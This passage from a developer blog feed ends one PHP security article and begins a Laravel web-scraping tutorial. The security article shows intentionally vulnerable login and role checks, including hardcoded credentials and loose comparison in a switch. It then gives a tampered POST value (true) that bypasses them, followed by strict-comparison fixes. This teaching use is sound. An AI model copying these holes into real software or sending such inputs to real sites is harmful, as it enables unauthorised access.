&lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'12345'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Grant access&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's say that a crafty hacker tampers with the sent data and makes them: &lt;code&gt;$_POST['username'] = true&lt;/code&gt; and &lt;code&gt;$_POST['password'] = true&lt;/code&gt; that will result to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'12345'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Grant access&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Now that hacker has been granted access to our App... Good for him, not for us&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you are wondering how a hacker could tamper with our data, I have two answers for you from the top of my head:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Custom request with curl. &lt;/li&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/burp" rel="noopener noreferrer"&gt;Burpsuite&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Moving on. &lt;/p&gt;

&lt;h3&gt;
  
  
  The insecure authorization with a twist
&lt;/h3&gt;

&lt;p&gt;Here is where I showcase a problem with PHP that might shock you.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$user_role&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_role'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Example: 'admin', 'editor', 'viewer'&lt;/span&gt;

&lt;span class="c1"&gt;// Authorization check using a switch statement&lt;/span&gt;
&lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user_role&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;'crazyDifficultAdminRoleNooneWouldEverGuess'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// Admin privileges&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Access granted: Super Admin level"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;'editor'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// Editor privileges&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Access granted: Editor level"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;'viewer'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// Viewer privileges&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Access granted: Viewer level"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;// No access&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Access denied: Invalid role"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code is already vulnerable to data tampering as hackers could guess the roles and change theirs to access different levels of authorization.&lt;br&gt;
We might feel a bit safe though,  because they would never be able to guess our Super Admin role name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But what if they don't have to guess at all&lt;/strong&gt;?☠️&lt;/p&gt;

&lt;p&gt;Did you know that &lt;strong&gt;Switch Case uses loose comparison?&lt;/strong&gt; Ha! you might be shocked now!&lt;br&gt;
This means that if the Hacker adds &lt;code&gt;$_POST['user_role'] = true&lt;/code&gt; then they will access our first case in our switch statement no matter the value. Ain't that a pain in the bottom? &lt;a href="https://www.php.net/manual/en/control-structures.switch.php" rel="noopener noreferrer"&gt;Read the docs&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Mitigating the loose comparison bug
&lt;/h2&gt;

&lt;p&gt;Mitigating the loose comparison bug is critical in ensuring the security and reliability of your PHP applications. The use of strict comparison &lt;code&gt;===&lt;/code&gt; and the &lt;code&gt;match&lt;/code&gt; expression, in PHP versions 8.0+,  plays a vital role in this process. Unlike the loose comparison operator &lt;code&gt;==&lt;/code&gt;, which can lead to unexpected and potentially dangerous results due to PHP's &lt;a href="https://www.php.net/manual/en/language.types.type-juggling.php" rel="noopener noreferrer"&gt;type juggling&lt;/a&gt;, strict comparison ensures that both the value and the type of variables are checked. This eliminates vulnerabilities such as unintended type coercion, which could be exploited to bypass security checks.&lt;/p&gt;

&lt;p&gt;Here is a solution to the &lt;a href="https://dev.tothe-insecure-authorization-with-a-twist"&gt;Insecure authorization bug&lt;/a&gt; using &lt;code&gt;match&lt;/code&gt; expression:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$user_role&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user_role&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s1"&gt;'crazyDifficultAdminRoleNooneWouldEverGuess'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"Access granted: Super Admin level"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'editor'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"Access granted: Editor level"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'viewer'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"Access granted: Viewer level"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"Access denied: Invalid role"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;# This outputs: 'Access denied: Invalid role' when role is set to true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Did you know about the dangers of loose comparison and type juggling in PHP? If you didn’t, now you do. Let this simple article serve as a reminder to always read through the documentation and develop a solid understanding of everything you use when programming. Curiosity is key when you’re striving to become the best at whatever you do!&lt;/p&gt;

&lt;p&gt;By embracing the strict discipline of &lt;code&gt;===&lt;/code&gt; and the sharp precision of &lt;code&gt;match&lt;/code&gt;, you can keep your PHP code on a tight leash, ensuring it behaves exactly as you expect. Remember, a little strictness now can save you a lot of headaches later. Let this be a playful nudge that no matter where you are on your coding journey, there’s always something new to learn. So, keep those eyes open, stay curious, and don’t let those loose comparisons slip through the net! 🫡&lt;/p&gt;

&lt;h2&gt;
  
  
  About Me
&lt;/h2&gt;

&lt;p&gt;You can find out more about me in my personal blog space on &lt;a href="https://sudorealm.com/blog/profile/d3ad-r1nger" rel="noopener noreferrer"&gt;&lt;strong&gt;sudorealm.com&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;If you like my style of writing and my content do not hesitate to whack that follow button, and magical things will happen! 🪄💫 &lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>coding</category>
      <category>php</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How to Build a Robust Web Scraper with Laravel: and Catch 'Em All</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Mon, 22 Apr 2024 10:24:01 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/how-to-build-a-robust-web-scraper-with-laravel-and-catch-em-all-15g9</link>
      <guid>https://dev.to/d3adr1nger/how-to-build-a-robust-web-scraper-with-laravel-and-catch-em-all-15g9</guid>
      <description>&lt;p&gt;Hey there! Welcome to my extraordinary, completely outside-the-box article about web scraping with a cool twist, using the greatest PHP framework 🐘, Laravel! In this guide, we're not just scraping the net for any random information—no sir! Today, you and I are embarking on a journey like no other. We are catching Pokémon by hurling scrape poké balls straight at Bulbapedia! Yep, you read that right. Through this piece of educational yet comedic writing, you're about to reconnect with the '90s kid hidden within you and start to Catch 'Em All. Get ready to dive into the nostalgic world of Pokémon, armed with the modern power of Laravel and some seriously savvy scraping strategies. Let's set off on this wild adventure together!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExeWQ0eXdhZGxmbWlya3JnODl4a2ZuNHE0ODhqZXZob3VmM3JrYm8zNCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/W04QVzelTHsNW/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExeWQ0eXdhZGxmbWlya3JnODl4a2ZuNHE0ODhqZXZob3VmM3JrYm8zNCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/W04QVzelTHsNW/giphy.gif" alt="scraping pokemon data using laravel" width="495" height="364"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Table of Contents for the impatient reader
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
Introducing spatie/crawler

&lt;ul&gt;
&lt;li&gt;installation&lt;/li&gt;
&lt;li&gt;scraper setup&lt;/li&gt;
&lt;li&gt;Calling the scraper and displaying results&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Extracting Pokémon Generations from Bulbapedia

&lt;ul&gt;
&lt;li&gt;First Step: Fetch the entire Generations data&lt;/li&gt;
&lt;li&gt;Second Step: Create a Collection with the data of each Pokemon&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Wrapping up and Future Challenges

&lt;ul&gt;
&lt;li&gt;Grab the Project Repo&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;For this project, you simply need to start with a new, empty Laravel project. You can follow the official documentation to set this up. I won’t cover the setup process here, as it’s thoroughly detailed in the Laravel 11 Docs. Once you have your Laravel environment ready, you'll be all set to follow along with this guide.&lt;br&gt;
&lt;strong&gt;&lt;a href="https://laravel.com/docs/11.x/installation" rel="noopener noreferrer"&gt;Laravel 11 Docs&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Introducing spatie/crawler
&lt;/h2&gt;

&lt;p&gt;The spatie/crawler package is a powerful tool developed by Spatie, a web development agency known for creating high-quality, open-source packages for the Laravel community. This crawler is designed to simplify the process of building web scrapers and bots in PHP, particularly within the Laravel framework. It provides a flexible and easy-to-use interface to crawl websites and extract needed data efficiently. &lt;a href="https://github.com/spatie/crawler" rel="noopener noreferrer"&gt;Click me if you love spatie/crawler&lt;/a&gt;, give them a star too, they are the reason that this article exists.&lt;/p&gt;
&lt;h3&gt;
  
  
  Installation
&lt;/h3&gt;

&lt;p&gt;This package can be easily installed via Composer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer require spatie/crawler
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you should have in your composer.json the line &lt;code&gt;"spatie/crawler": "^8.2"&lt;/code&gt;. &lt;/p&gt;

&lt;h3&gt;
  
  
  Scraper setup
&lt;/h3&gt;

&lt;p&gt;The package documentation proposes that the crawler should be instantiated like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Spatie\Crawler\Crawler&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;Crawler&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setCrawlObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;OurScraperObserver&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;startCrawling&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;new OurScraperObserver()&lt;/code&gt;: The argument passed to setCrawlObserver must be an object that extends the &lt;a href="https://github.com/spatie/crawler/blob/main/src/CrawlObservers/CrawlObserver.php" rel="noopener noreferrer"&gt;\Spatie\Crawler\CrawlObservers\CrawlObserver&lt;/a&gt; abstract class. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's create our first scraper using the appropriate PHP artisan command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php artisan make:observer Pokemon/PokemonGenerationScraperObserver
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The observer we just created should look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="kn"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;App\Observers\Pokemon&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;GuzzleHttp\Exception\RequestException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Support\Facades\Log&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Psr\Http\Message\ResponseInterface&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Psr\Http\Message\UriInterface&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Spatie\Crawler\CrawlObservers\CrawlObserver&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PokemonGenerationScraperObserver&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;CrawlObserver&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nv"&gt;$content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;__construct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/*
     * Called when the crawler will crawl the url.
     */&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;willCrawl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;UriInterface&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;?string&lt;/span&gt; &lt;span class="nv"&gt;$linkText&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'willCrawl'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'url'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/*
     * Called when the crawler has crawled the given url successfully.
     */&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;crawled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="kt"&gt;UriInterface&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;ResponseInterface&lt;/span&gt; &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;?UriInterface&lt;/span&gt; &lt;span class="nv"&gt;$foundOnUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;?string&lt;/span&gt; &lt;span class="nv"&gt;$linkText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Crawled: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/*
     * Called when the crawler had a problem crawling the given url.
     */&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;crawlFailed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="kt"&gt;UriInterface&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;RequestException&lt;/span&gt; &lt;span class="nv"&gt;$requestException&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;?UriInterface&lt;/span&gt; &lt;span class="nv"&gt;$foundOnUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;?string&lt;/span&gt; &lt;span class="nv"&gt;$linkText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/*
     * Called when the crawl has ended.
     */&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;finishedCrawling&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Finished crawling"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Calling the scraper and displaying results
&lt;/h2&gt;

&lt;p&gt;Now that everything is set up, including the observer class required by the package, it's time to "call" the scraper and see it in action! For this, we need to create an invokable class whose sole purpose is to initiate the scraper by triggering the observer. Additionally, we'll establish a route that links to this class with a URL, enabling easy access and execution of the scraping process. Let’s proceed to set this up and display the results.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;artisan&lt;/span&gt; &lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;controller&lt;/span&gt; &lt;span class="nc"&gt;Pokemon&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;PokemonGenerationScraperController&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;invokable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See how I named the controller almost the same as the Observer?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 By using identical names for closely related classes, you minimize the mental effort required to understand or recall how different parts of the application interact. This streamlined naming convention effectively simplifies navigation through the code, thereby enhancing maintainability and reducing the chance of errors during development.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is how our new controller should look:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="kn"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;App\Http\Controllers\Pokemon&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;App\Http\Controllers\Controller&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Http\Request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PokemonGenerationScraperController&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Controller&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;__invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;dd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"I am ready to catch them all!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To link the controller with a URL we go to the &lt;code&gt;web.php&lt;/code&gt; and add the following lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/pokemon/generation'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;PokemonGenerationScraperController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
